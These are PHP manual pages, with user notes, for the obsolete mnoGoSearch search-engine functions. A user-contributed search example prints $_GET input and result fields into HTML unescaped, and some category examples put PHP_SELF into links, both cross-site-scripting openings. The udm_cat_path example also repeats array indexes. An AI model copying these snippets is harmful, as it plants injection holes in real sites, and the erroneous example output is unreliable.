  • UDM_LIMIT_CAT - defines document category limitations. Categories are similar to tag feature, but nested. So you can have one category inside another and so on. You have to use two characters for each level. Use a hex number going from 0-F or a 36 base number going from 0-Z. Therefore a top-level category like 'Auto' would be 01. If it has a subcategory like 'Ford', then it would be 01 (the parent category) and then 'Ford' which we will give 01. Put those together and you get 0101. If 'Auto' had another subcategory named 'VW', then it's id would be 01 because it belongs to the 'Ford' category and then 02 because it's the next category. So it's id would be 0102. If VW had a sub category called 'Engine' then it's id would start at 01 again and it would get the 'VW' id 02 and 'Auto' id of 01, making it 010201. If you want to search for sites under that category then you pass it cat=010201 in the URL.

  • UDM_LIMIT_DATE - defines limitation by date the document was modified.

    Format of parameter value: a string with first character < or >, then with no space - date in unixtime format, for example:

    例子 1.

    <?php
          Udm_Add_Search_Limit    ($udm, UDM_LIMIT_DATE, "&lt;908012006");
    ?>

    If > character is used, then the search will be restricted to those documents having a modification date greater than entered, if <, then smaller.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mnoGoSearch Functions | 上一级 | udm_alloc_agent_array


udm_alloc_agent_array

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

udm_alloc_agent_array -- Allocate mnoGoSearch session

Description

resource udm_alloc_agent_array ( array databases )

udm_alloc_agent_array() will create an agent with multiple database connections. The array databases must contain one database URL per element, analog to the first parameter of udm_alloc_agent().

See also: udm_alloc_agent().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_add_search_limit | 上一级 | udm_alloc_agent


udm_alloc_agent

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_alloc_agent -- Allocate mnoGoSearch session

Description

resource udm_alloc_agent ( string dbaddr [, string dbmode] )

Returns a mnogosearch agent identifier on success, FALSE on failure. This function creates a session with database parameters.

dbaddr - URL-style database description, with options (type, host, database name, port, user and password) to connect to SQL database. Do not matter for built-in text files support. Format for dbaddr: DBType:[//[DBUser[:DBPass]@]DBHost[:DBPort]]/DBName/. Currently supported DBType values are: mysql, pgsql, msql, solid, mssql, oracle, and ibase. Actually, it does not matter for native libraries support, but ODBC users should specify one of the supported values. If your database type is not supported, you may use unknown instead.

dbmode - You may select the SQL database mode of words storage. Possible values of dbmode are: single, multi, crc, or crc-multi. When single is specified, all words are stored in the same table. If multi is selected, words will be located in different tables depending of their lengths. "multi" mode is usually faster, but requires more tables in the database. If "crc" mode is selected, mnoGoSearch will store 32 bit integer word IDs calculated by CRC32 algorithm instead of words. This mode requires less disk space and it is faster comparing with "single" and "multi" modes. crc-multi uses the same storage structure with the "crc" mode, but also stores words in different tables depending on words lengths like in "multi" mode.

注: dbaddr and dbmode must match those used during indexing.

注: In fact this function does not open a connection to the database and thus does not check the entered login and password. Establishing a connection to the database and login/password verification is done by udm_find().

add a note add a note User Contributed Notes
cmv at php dot net
24-Sep-2001 02:56
For what it's worth, the following PHP code won't work:

<?  $U = udm_alloc_agent('mysql://localhost/example'); ?>

But this will:

<?  $U = udm_alloc_agent('mysql://localhost/example/'); ?>

That trailing slash is all-important.
add a note add a note

后退 | 起点 | 前进
udm_alloc_agent_array | 上一级 | udm_api_version


udm_api_version

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_api_version -- Get mnoGoSearch API version

Description

int udm_api_version ( void )

udm_api_version() returns the mnoGoSearch API version number. E.g. if mnoGoSearch 3.1.10 API is used, this function will return 30110.

This function allows the user to identify which API functions are available, e.g. udm_get_doc_count() function is only available in mnoGoSearch 3.1.11 or later.

例子 1. udm_api_version() example

<?php
if (udm_api_version() >= 30111) {
    echo  "Total number of URLs in database: " . udm_get_doc_count($udm) . "<br />\n";
}
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_alloc_agent | 上一级 | udm_cat_list


udm_cat_list

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

udm_cat_list -- Get all the categories on the same level with the current one

Description

array udm_cat_list ( resource agent, string category )

Returns an array listing all categories of the same level as the current category in the categories tree. agent is the agent identifier returned by a previous call to >udm_alloc_agent().

The function can be useful for developing categories tree browser.

The returned array consists of pairs. Elements with even index numbers contain the category paths, odd elements contain the corresponding category names.

$array[0] will contain '020300'
  $array[1] will contain 'Audi'
  $array[2] will contain '020301'
  $array[3] will contain 'BMW'
  $array[4] will contain '020302'
  $array[5] will contain 'Opel'
  ...
 etc.

Following is an example of displaying links of the current level in format:
Audi
  BMW
  Opel
  ...

例子 1. udm_cat_list()example

<?php
$cat_list_arr = udm_cat_list($udm_agent, $cat);
$cat_list = '';
for ($i=0; $i<count($cat_list_arr); $i+=2) {
    $path = $cat_list_arr[$i];
    $name = $cat_list_arr[$i+1];
    $cat_list .= "<a href=\"$_SERVER[PHP_SELF]?cat=$path\">$name</a><br />";
}
?>

See also udm_cat_path().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_api_version | 上一级 | udm_cat_path


udm_cat_path

(PHP 4 >= 4.0.6, PHP 5 <= 5.0.4)

udm_cat_path -- Get the path to the current category

Description

array udm_cat_path ( resource agent, string category )

Returns an array describing the path in the categories tree from the tree root to the current one, specified by category. agent is the agent identifier returned by a previous call to >udm_alloc_agent().

The returned array consists of pairs. Elements with even index numbers contain the category paths, odd elements contain the corresponding category names.

For example, the call $array=udm_cat_path($agent, '02031D'); may return the following array:
$array[0] will contain ''
 $array[1] will contain 'Root'
 $array[2] will contain '02'
 $array[3] will contain 'Sport'
 $array[4] will contain '0203'
 $array[5] will contain 'Auto'
 $array[4] will contain '02031D'
 $array[5] will contain 'Ferrari'

例子 1. Specifying path to the current category in the following format: '> Root > Sport > Auto > Ferrari'

<?php
  $cat_path_arr = udm_cat_path($udm_agent, $cat);
  $cat_path = '';
  for ($i=0; $i<count($cat_path_arr); $i+=2) {
    $path = $cat_path_arr[$i];
    $name = $cat_path_arr[$i+1];
    $cat_path .= " > <a href=\"$_SERVER[PHP_SELF]?cat=$path\">$name</a> ";
  }
?>

See also udm_cat_list().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_cat_list | 上一级 | udm_check_charset


udm_check_charset

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

udm_check_charset -- Check if the given charset is known to mnogosearch

Description

bool udm_check_charset ( resource agent, string charset )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_cat_path | 上一级 | udm_check_stored


udm_check_stored

(PHP 4 >= 4.2.0)

udm_check_stored -- Check connection to stored

Description

int udm_check_stored ( resource agent, int link, string doc_id )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_check_charset | 上一级 | udm_clear_search_limits


udm_clear_search_limits

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_clear_search_limits -- Clear all mnoGoSearch search restrictions

Description

bool udm_clear_search_limits ( resource agent )

udm_clear_search_limits() resets defined search limitations and returns TRUE.

See also udm_add_search_limit().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_check_stored | 上一级 | udm_close_stored


udm_close_stored

(PHP 4 >= 4.2.0)

udm_close_stored -- Close connection to stored

Description

int udm_close_stored ( resource agent, int link )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_clear_search_limits | 上一级 | udm_crc32


udm_crc32

(PHP 4 >= 4.2.0, PHP 5 <= 5.0.4)

udm_crc32 -- Return CRC32 checksum of given string

Description

int udm_crc32 ( resource agent, string str )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_close_stored | 上一级 | udm_errno


udm_errno

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_errno -- Get mnoGoSearch error number

Description

int udm_errno ( resource agent )

udm_errno() returns mnoGoSearch error number, zero if no error.

agent - link to agent identifier, received after call to udm_alloc_agent().

Receiving numeric agent error code.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_crc32 | 上一级 | udm_error


udm_error

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_error -- Get mnoGoSearch error message

Description

string udm_error ( resource agent )

udm_error() returns mnoGoSearch error message, empty string if no error.

agent - link to agent identifier, received after call to udm_alloc_agent().

Receiving agent error message.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_errno | 上一级 | udm_find


udm_find

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_find -- Perform search

Description

resource udm_find ( resource agent, string query )

Returns a result link identifier on success, or FALSE on failure.

The search itself. The first argument - session, the next one - query itself. To find something just type words you want to find and press SUBMIT button. For example, "mysql odbc". You should not use quotes " in query, they are written here only to divide a query from other text. mnoGoSearch will find all documents that contain word "mysql" and/or word "odbc". Best documents having bigger weights will be displayed first. If you use search mode ALL, search will return documents that contain both (or more) words you entered. In case you use mode ANY, the search will return list of documents that contain any of the words you entered. If you want more advanced results you may use query language. You should select "bool" match mode in the search from.

mnoGoSearch understands the following boolean operators:

& - logical AND. For example, "mysql & odbc". mnoGoSearch will find any URLs that contain both "mysql" and "odbc".

| - logical OR. For example "mysql|odbc". mnoGoSearch will find any URLs, that contain word "mysql" or word "odbc".

~ - logical NOT. For example "mysql & ~odbc". mnoGoSearch will find URLs that contain word "mysql" and do not contain word "odbc" at the same time. Note that ~ just excludes given word from results. Query "~odbc" will find nothing!

() - group command to compose more complex queries. For example "(mysql | msql) & ~postgres". Query language is simple and powerful at the same time. Just consider query as usual boolean expression.

add a note add a note User Contributed Notes
sm_dev_mnogo at u5 dot com
20-Nov-2003 07:02
For me (PHP 4.3.3, Mnogo 3.2.15 on FreeBSD) Mnogo doesn't work as described - but very well if done as in the PHP-template distributed by MnogoSearch

I had huge problems getting Udm_Find(... to return anything at all.

All the other calls worked, like udm_get_doc_count(...  but _find seemed to insist on returning nothing, no matter what I tried.

However, I had actually a working installation of mnogo, using the PHP template, so it was just to find the difference in the, BTW impressive, work by Sergey 'gluke' Kartashoff.

The result was surprising, see below. The parameter UDM_PARAM_QUERY is not mentioned in the manual

<?php

  $q="help";
  // This is the real query. Note that Udm_find seems to
  // ignore it, despite the
  // description in the manual

  $udm_agent
   =Udm_Alloc_Agent('pgsql://me:secret@/mnogo_db/?dbmode=multi');
  // This is actually also contrary to the manual, but it
  // works. Also in the PHP-template it said
/*
if (Udm_Api_Version() >= 30204) {
   $dbaddr='mysql://mnogo:mnogo@/mnogo/?dbmode=single';
} else {
   $dbaddr='mysql://mnogo:mnogo@/mnogo/';
   $dbmode='single';
}
*/
// which contradicts the manual for never versions

  $iDoItAsInTheManual = true;  //Set to false and it works

  if ($iDoItAsInTheManual)
   {
   $res=Udm_Find($udm_agent, $q);
   }
  else
   // This works:
   {
   Udm_Set_Agent_Param($udm_agent,UDM_PARAM_QUERY,$q);
   $res=Udm_Find($udm_agent,"anything here, makes no difference!!");
   }

  $url = udm_get_res_field(
                               $res,        //resource res,
                               0,                // int row,
                               UDM_FIELD_URL    // int field
                               );
  echo $url;

  // Fails if $iDoItAsInTheManual==true, otherwise it works fine

?>

I don't know where something has gone wrong but I hope this may help someone save a little time.
matt at nowhere dot dot
24-Dec-2002 02:50
Here is a small snipet of code that will perform a search on mnogosearch and (in not so pretty a way) display the results.  Note that it appears that UDM_PARAM_FIRST_DOC starts at 1, but perhaps should be 0.
<?php
$searchText = trim($_GET['search']);
$mnogo = udm_alloc_agent ('mysql://me:secret@localhost/mnogosearch/');
$mResult = udm_find($mnogo,$searchText);
$totalMatches = udm_get_res_param ($mResult,UDM_PARAM_FOUND);
$pageSize = udm_get_res_param ($mResult,UDM_PARAM_NUM_ROWS);
$firstRow = udm_get_res_param ($mResult,UDM_PARAM_FIRST_DOC);
$lastRow = udm_get_res_param ($mResult,UDM_PARAM_LAST_DOC);
echo "Your search for <b>$searchText</b> resulted in <b>$totalMatches</b> matches";
echo "The result set (pagesize) is <b>$pageSize</b>\n";
echo "The first doc is row <b>$firstRow</b> and the last doc is <b>$lastRow</b>\n";
$row=0;
for ($i=$firstRow-1;$i<$lastRow;$i++) {
   $row++;
   echo "Match $row:";
   echo 'Url: ';
   $url = udm_get_res_field ($mResult,$i,UDM_FIELD_URL);
   echo "<a href=\"$url\">$url</a>";
   echo "\nTitle: <b>";
   echo udm_get_res_field ($mResult, $i,UDM_FIELD_TITLE);
   echo "</b>\nMeta Desc:";
   echo udm_get_res_field ($mResult, $i,UDM_FIELD_DESC);
   echo "\nPage Text: <b>\n";
   echo udm_get_res_field ($mResult, $i,UDM_FIELD_TEXT);
   echo "</b>\n<hr>\n";
}
udm_free_res($mResult);
udm_free_agent($mnogo);
?>
add a note add a note

后退 | 起点 | 前进
udm_error | 上一级 | udm_free_agent


udm_free_agent

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_free_agent -- Free mnoGoSearch session

Description

int udm_free_agent ( resource agent )

如果成功则返回 TRUE，失败则返回 FALSE。

agent - link to agent identifier, received ` after call to udm_alloc_agent().

Freeing up memory allocated for agent session.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_find | 上一级 | udm_free_ispell_data


udm_free_ispell_data

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_free_ispell_data -- Free memory allocated for ispell data

Description

bool udm_free_ispell_data ( int agent )

udm_free_ispell_data() always returns TRUE.

agent - agent link identifier, received after call to udm_alloc_agent().

注: This function is supported beginning from version 3.1.12 of mnoGoSearch and it does not do anything in previous versions.

add a note add a note User Contributed Notes
indeyets at gmail dot com
27-Jul-2005 03:40
in mnogosearch 3.2.33 (and earlier 3.2.x versions) this function should not be used, as udm_free_agent() implicitly frees this memory too.

as a result, you will have "double free" and crash of php/apache instance
add a note add a note

后退 | 起点 | 前进
udm_free_agent | 上一级 | udm_free_res


udm_free_res

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_free_res -- Free mnoGoSearch result

Description

bool udm_free_res ( resource res )

如果成功则返回 TRUE，失败则返回 FALSE。

res - a link to result identifier, received after call to udm_find().

Freeing up memory allocated for results.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_free_ispell_data | 上一级 | udm_get_doc_count


udm_get_doc_count

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_get_doc_count -- Get total number of documents in database

Description

int udm_get_doc_count ( resource agent )

udm_get_doc_count() returns the number of documents in the database.

agent - link to agent identifier, received after call to udm_alloc_agent().

注: This function is supported only in mnoGoSearch 3.1.11 or later.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_free_res | 上一级 | udm_get_res_field


udm_get_res_field

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_get_res_field -- Fetch mnoGoSearch result field

Description

string udm_get_res_field ( resource res, int row, int field )

udm_get_res_field() returns result field value on success, FALSE on error.

res - a link to result identifier, received after call to udm_find().

row - the number of the link on the current page. May have values from 0 to UDM_PARAM_NUM_ROWS-1.

field - field identifier, may have the following values:

  • UDM_FIELD_URL - document URL field

  • UDM_FIELD_CONTENT - document Content-type field (for example, text/html).

  • UDM_FIELD_CATEGORY - document category field. Use udm_cat_path() to get full path to current category from the categories tree root. (This parameter is available only in PHP 4.0.6 or later).

  • UDM_FIELD_TITLE - document title field.

  • UDM_FIELD_KEYWORDS - document keywords field (from META KEYWORDS tag).

  • UDM_FIELD_DESC - document description field (from META DESCRIPTION tag).

  • UDM_FIELD_TEXT - document body text (the first couple of lines to give an idea of what the document is about).

  • UDM_FIELD_SIZE - document size.

  • UDM_FIELD_URLID - unique URL ID of the link.

  • UDM_FIELD_RATING - page rating (as calculated by mnoGoSearch).

  • UDM_FIELD_MODIFIED - last-modified field in unixtime format.

  • UDM_FIELD_ORDER - the number of the current document in set of found documents.

  • UDM_FIELD_CRC - document CRC.

add a note add a note User Contributed Notes
ctg-php at graysmark dot net
07-Apr-2004 03:01
It seems the description length is now determined by UDM_MAXDESCSIZE in udm_common.h instead of UDM_MAXTEXTSIZE
davidbullock at tech-center dot com
09-Sep-2001 02:07
To further improve the "description" field quality, there are two additional techniques you can use.

First, you can define this value if you know it, by setting a description meta tag in the head section.

Second, mnogosearch has an <index></noindex> tag pair that appears to make the enclosed content completely invisible to the search engine.  I've used this on the sites I maintain to 'vanish' the navigational elements, field names, and other non-content type HTML and page window dressing so that only the important content is indexed and reported on.

This last technique as an added (and more important benefit) of helping to eliminate a lot of false matches in searches.
davidbullock at tech-center dot com
09-Sep-2001 02:01
The returned page description is only 100 characters long.

To store more information, you can change the appropriate database field length to 255 characters (field "description" in the table "url"), and change the following line in udm_common.h.

#define UDM_MAXTEXTSIZE 255
add a note add a note

后退 | 起点 | 前进
udm_get_doc_count | 上一级 | udm_get_res_param


udm_get_res_param

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_get_res_param -- Get mnoGoSearch result parameters

Description

string udm_get_res_param ( resource res, int param )

udm_get_res_param() returns result parameter value on success, FALSE on error.

res - a link to result identifier, received after call to udm_find().

param - parameter identifier, may have the following values:

  • UDM_PARAM_NUM_ROWS - number of received found links on the current page. It is equal to UDM_PARAM_PAGE_SIZE for all search pages, on the last page - the rest of links.

  • UDM_PARAM_FOUND - total number of results matching the query.

  • UDM_PARAM_WORDINFO - information on the words found. E.g. search for "a good book" will return "a: stopword, good:5637, book: 120"

  • UDM_PARAM_SEARCHTIME - search time in seconds.

  • UDM_PARAM_FIRST_DOC - the number of the first document displayed on current page.

  • UDM_PARAM_LAST_DOC - the number of the last document displayed on current page.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_get_res_field | 上一级 | udm_hash32


udm_hash32

(PHP 4 >= 4.3.3, PHP 5 <= 5.0.4)

udm_hash32 -- Return Hash32 checksum of gived string

Description

int udm_hash32 ( resource agent, string str )

udm_hash32() will take a string str and return a quite unique 32-bit hash number from it. Requires an allocated agent.

See also: udm_alloc_agent().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_get_res_param | 上一级 | udm_load_ispell_data


udm_load_ispell_data

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_load_ispell_data -- Load ispell data

Description

bool udm_load_ispell_data ( resource agent, int var, string val1, string val2, int flag )

udm_load_ispell_data() loads ispell data. 如果成功则返回 TRUE，失败则返回 FALSE。

agent - agent link identifier, received after call to udm_alloc_agent().

var - parameter, indicating the source for ispell data. May have the following values:

After using this function to free memory allocated for ispell data, please use udm_free_ispell_data(), even if you use UDM_ISPELL_TYPE_SERVER mode.

The fastest mode is UDM_ISPELL_TYPE_SERVER. UDM_ISPELL_TYPE_TEXT is slower and UDM_ISPELL_TYPE_DB is the slowest. The above pattern is TRUE for mnoGoSearch 3.1.10 - 3.1.11. It is planned to speed up DB mode in future versions and it is going to be faster than TEXT mode.

  • UDM_ISPELL_TYPE_DB - indicates that ispell data should be loaded from SQL. In this case, parameters val1 and val2 are ignored and should be left blank. flag should be equal to 1.

    注: flag indicates that after loading ispell data from defined source it should be sorted (it is necessary for correct functioning of ispell). In case of loading ispell data from files there may be several calls to udm_load_ispell_data(), and there is no sense to sort data after every call, but only after the last one. Since in db mode all the data is loaded by one call, this parameter should have the value 1. In this mode in case of error, e.g. if ispell tables are absent, the function will return FALSE and code and error message will be accessible through udm_error() and udm_errno().

    例子 1. udm_load_ispell_data()example

    <?php
    if (! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_DB, '', '', 1)) {
          printf("Error #%d: '%s'\n", udm_errno($udm), udm_error($udm));
      exit;
    }
    ?>

  • UDM_ISPELL_TYPE_AFFIX - indicates that ispell data should be loaded from file and initiates loading affixes file. In this case val1 defines double letter language code for which affixes are loaded, and val2 - file path. Please note, that if a relative path entered, the module looks for the file not in UDM_CONF_DIR, but in relation to current path, i.e. to the path where the script is executed. In case of error in this mode, e.g. if file is absent, the function will return FALSE, and an error message will be displayed. Error message text cannot be accessed through udm_error() and udm_errno(), since those functions can only return messages associated with SQL. Please, see flag parameter description in UDM_ISPELL_TYPE_DB.

    例子 2. udm_load_ispell_data() example

    <?php
    if ((! udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'en', '/opt/ispell/en.aff', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_AFFIX, 'ru', '/opt/ispell/ru.aff', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'en', '/opt/ispell/en.dict', 0)) ||
        (!     udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SPELL, 'ru', '/opt/ispell/ru.dict', 1))) {
        exit;
    }
    ?>

    注: flag is equal to 1 only in the last call.

  • UDM_ISPELL_TYPE_SPELL - indicates that ispell data should be loaded from file and initiates loading of ispell dictionary file. In this case val1 defines double letter language code for which affixes are loaded, and val2 - file path. Please note, that if a relative path entered, the module looks for the file not in UDM_CONF_DIR, but in relation to current path, i.e. to the path where the script is executed. In case of error in this mode, e.g. if file is absent, the function will return FALSE, and an error message will be displayed. Error message text cannot be accessed through udm_error() and udm_errno(), since those functions can only return messages associated with SQL. Please, see flag parameter description in UDM_ISPELL_TYPE_DB.

    <?php
             if ((! Udm_Load_Ispell_Data($udm, UDM_ISPELL_TYPE_AFFIX, 'en', '/opt/ispell/en.aff', 0)) ||
            (!     Udm_Load_Ispell_Data($udm, UDM_ISPELL_TYPE_AFFIX, 'ru', '/opt/ispell/ru.aff', 0)) ||
            (!     Udm_Load_Ispell_Data($udm, UDM_ISPELL_TYPE_SPELL, 'en', '/opt/ispell/en.dict', 0)) ||
            (!     Udm_Load_Ispell_Data($udm, UDM_ISPELL_TYPE_SPELL, 'ru', '/opt/ispell/ru.dict', 1))) {
          exit;
          }
    ?>

    注: flag is equal to 1 only in the last call.

  • UDM_ISPELL_TYPE_SERVER - enables spell server support. val1 parameter indicates address of the host running spell server. val2 ` is not used yet, but in future releases it is going to indicate number of port used by spell server. flag parameter in this case is not needed since ispell data is stored on spellserver already sorted.

    Spelld server reads spell-data from a separate configuration file (/usr/local/mnogosearch/etc/spelld.conf by default), sorts it and stores in memory. With clients server communicates in two ways: to indexer all the data is transferred (so that indexer starts faster), from search.cgi server receives word to normalize and then passes over to client (search.cgi) list of normalized word forms. This allows fastest, compared to db and text modes processing of search queries (by omitting loading and sorting all the spell data).

    udm_load_ispell_data() function in UDM_ISPELL_TYPE_SERVER mode does not actually load ispell data, but only defines server address. In fact, server is automatically used by udm_find() function when performing search. In case of errors, e.g. if spellserver is not running or invalid host indicated, there are no messages returned and ispell conversion does not work.

    注: This function is available in mnoGoSearch 3.1.12 or later.

    Example:

    <?php
    if (!udm_load_ispell_data($udm, UDM_ISPELL_TYPE_SERVER, '', '', 1)) {
        echo     "Error loading ispell data from server<br />\n";
        exit;
    }
    ?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_hash32 | 上一级 | udm_open_stored


udm_open_stored

(PHP 4 >= 4.2.0)

udm_open_stored -- Open connection to stored

Description

int udm_open_stored ( resource agent, string storedaddr )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
udm_load_ispell_data | 上一级 | udm_set_agent_param


udm_set_agent_param

(PHP 4 >= 4.0.5, PHP 5 <= 5.0.4)

udm_set_agent_param -- Set mnoGoSearch agent session parameters

Description

bool udm_set_agent_param ( resource agent, int var, string val )

如果成功则返回 TRUE，失败则返回 FALSE。 Defines mnoGoSearch session parameters.

The following parameters and their values are available:

  • UDM_PARAM_PAGE_NUM - used to choose search results page number (results are returned by pages beginning from 0, with UDM_PARAM_PAGE_SIZE results per page).

  • UDM_PARAM_PAGE_SIZE - number of search results displayed on one page.

  • UDM_PARAM_SEARCH_MODE - search mode. The following values available: UDM_MODE_ALL - search for all words; UDM_MODE_ANY - search for any word; UDM_MODE_PHRASE - phrase search; UDM_MODE_BOOL - boolean search. See udm_find() for details on boolean search.

  • UDM_PARAM_CACHE_MODE - turns on or off search result cache mode. When enabled, the search engine will store search results to disk. In case a similar search is performed later, the engine will take results from the cache for faster performance. Available values: UDM_CACHE_ENABLED, UDM_CACHE_DISABLED.

  • UDM_PARAM_TRACK_MODE - turns on or off trackquery mode. Since version 3.1.2 mnoGoSearch has a query tracking support. Note that tracking is implemented in SQL version only and not available in built-in database. To use tracking, you have to create tables for tracking support. For MySQL, use create/mysql/track.txt. When doing a search, front-end uses those tables to store query words, a number of found documents and current Unix timestamp in seconds. Available values: UDM_TRACK_ENABLED, UDM_TRACK_DISABLED.

  • UDM_PARAM_PHRASE_MODE - defines whether index database using phrases ("phrase" parameter in indexer.conf). Possible values: UDM_PHRASE_ENABLED and UDM_PHRASE_DISABLED. Please note, that if phrase search is enabled (UDM_PHRASE_ENABLED), it is still possible to do search in any mode (ANY, ALL, BOOL or PHRASE). In 3.1.10 version of mnoGoSearch phrase search is supported only in sql and built-in database modes, while beginning with 3.1.11 phrases are supported in cachemode as well.

    Examples of phrase search:

    "Arizona desert" - This query returns all indexed documents that contain "Arizona desert" as a phrase. Notice that you need to put double quotes around the phrase

  • UDM_PARAM_CHARSET - defines local charset. Available values: set of charsets supported by mnoGoSearch, e.g. koi8-r, cp1251, ...

  • UDM_PARAM_STOPFILE - Defines name and path to stopwords file. (There is a small difference with mnoGoSearch - while in mnoGoSearch if relative path or no path entered, it looks for this file in relation to UDM_CONF_DIR, the module looks for the file in relation to current path, i.e. to the path where the PHP script is executed.)

  • UDM_PARAM_STOPTABLE - Load stop words from the given SQL table. You may use several StopwordTable commands. This command has no effect when compiled without SQL database support.

  • UDM_PARAM_WEIGHT_FACTOR - represents weight factors for specific document parts. Currently body, title, keywords, description, url are supported. To activate this feature please use degrees of 2 in *Weight commands of the indexer.conf. Let's imagine that we have these weights:

    URLWeight 1
    BodyWeight 2
    TitleWeight 4
    KeywordWeight 8
    DescWeight 16

    As far as indexer uses bit OR operation for word weights when some word presents several time in the same document, it is possible at search time to detect word appearance in different document parts. Word which appears only in the body will have 00000010 aggregate weight (in binary notation). Word used in all document parts will have 00011111 aggregate weight.

    This parameter's value is a string of hex digits ABCDE. Each digit is a factor for corresponding bit in word weight. For the given above weights configuration:

    E is a factor for weight 1 (URL Weight bit)
    D is a factor for weight 2 (BodyWeight bit)
    C is a factor for weight 4 (TitleWeight bit)
    B is a factor for weight 8 (KeywordWeight bit)
    A is a factor for weight 16 (DescWeight bit)

    Examples:

    UDM_PARAM_WEIGHT_FACTOR=00001 will search through URLs only.

    UDM_PARAM_WEIGHT_FACTOR=00100 will search through Titles only.

    UDM_PARAM_WEIGHT_FACTOR=11100 will search through Title,Keywords,Description but not through URL and Body.

    UDM_PARAM_WEIGHT_FACTOR=F9421 will search through:

    Description with factor 15 (F hex)
    Keywords with factor 9
    Title with factor 4
    Body with factor 2
    URL with factor 1

    If UDM_PARAM_WEIGHT_FACTOR variable is omitted, original weight value is taken to sort results. For a given above weight configuration it means that document description has a most big weight 16.

  • UDM_PARAM_WORD_MATCH - word match. You may use this parameter to choose word match type. This feature works only in "single" and "multi" modes using SQL based and built-in database. It does not work in cachemode and other modes since they use word CRC and do not support substring search. Available values:

    UDM_MATCH_BEGIN - word beginning match;

    UDM_MATCH_END - word ending match;

    UDM_MATCH_WORD - whole word match;

    UDM_MATCH_SUBSTR - word substring match.

  • UDM_PARAM_MIN_WORD_LEN - defines minimal word length. Any word shorter this limit is considered to be a stopword. Please note that this parameter value is inclusive, i.e. if UDM_PARAM_MIN_WORD_LEN=3, a word 3 characters long will not be considered a stopword, while a word 2 characters long will be. Default value is 1.

  • UDM_PARAM_ISPELL_PREFIXES - Possible values: UDM_PREFIXES_ENABLED and UDM_PREFIXES_DISABLED, that respectively enable or disable using prefixes. E.g. if a word "tested" is in search query, also words like "test", "testing", etc. Only suffixes are supported by default. Prefixes usually change word meanings, for example if somebody is searching for the word "tested" one hardly wants "untested" to be found. Prefixes support may also be found useful for site's spelling checking purposes. In order to enable ispell, you have to load ispell data with udm_load_ispell_data().

  • UDM_PARAM_CROSS_WORDS - enables or disables crosswords support. Possible values: UDM_CROSS_WORDS_ENABLED and UDM_CROSS_WORDS_DISABLED.

    The crosswords feature allows to assign words between <a href="xxx"> and </a> also to a document this link leads to. It works in SQL database mode and is not supported in built-in database and Cachemode.

    注: Crosswords are supported only in mnoGoSearch 3.1.11 or later.

  • UDM_PARAM_VARDIR - specifies a custom path to directory where indexer stores data when using built-in database and in cache mode. By default /var directory of mnoGoSearch installation is used. Can have only string values. The parameter is available in PHP 4.1.0 or later.

add a note add a note User Contributed Notes
ywarnier at beeznest dot org
13-May-2006 07:37
Other possible session parameters not documented but found in the default php frontend on http://www.mnogosearch.org:
UDM_PARAM_BROWSER_CHARSET - ?
UDM_PARAM_HLBEG - defines the tag to use before an highlighted search term
UDM_PARAM_HLBEG  - defines the tag to use after an highlighted search term
UDM_PARAM_QSTRING - defines the search term (or query string)
UDM_PARAM_REMOTE_ADDR - ?
UDM_PARAM_QUERY - ?
UDM_PARAM_STORED - ?
UDM_PARAM_GROUPBYSITE - toggles the "group by site" feature (UDM_ENABLED or UDM_DISABLED)
UDM_PARAM_SITEID - ?
UDM_PARAM_DETECT_CLONES - enable the "detect clone" feature (UDM_ENABLED or UDM_DISABLED)
adu at php dot net
22-Dec-2005 12:42
I found an undocumented function: udm_set_agent_param_ex
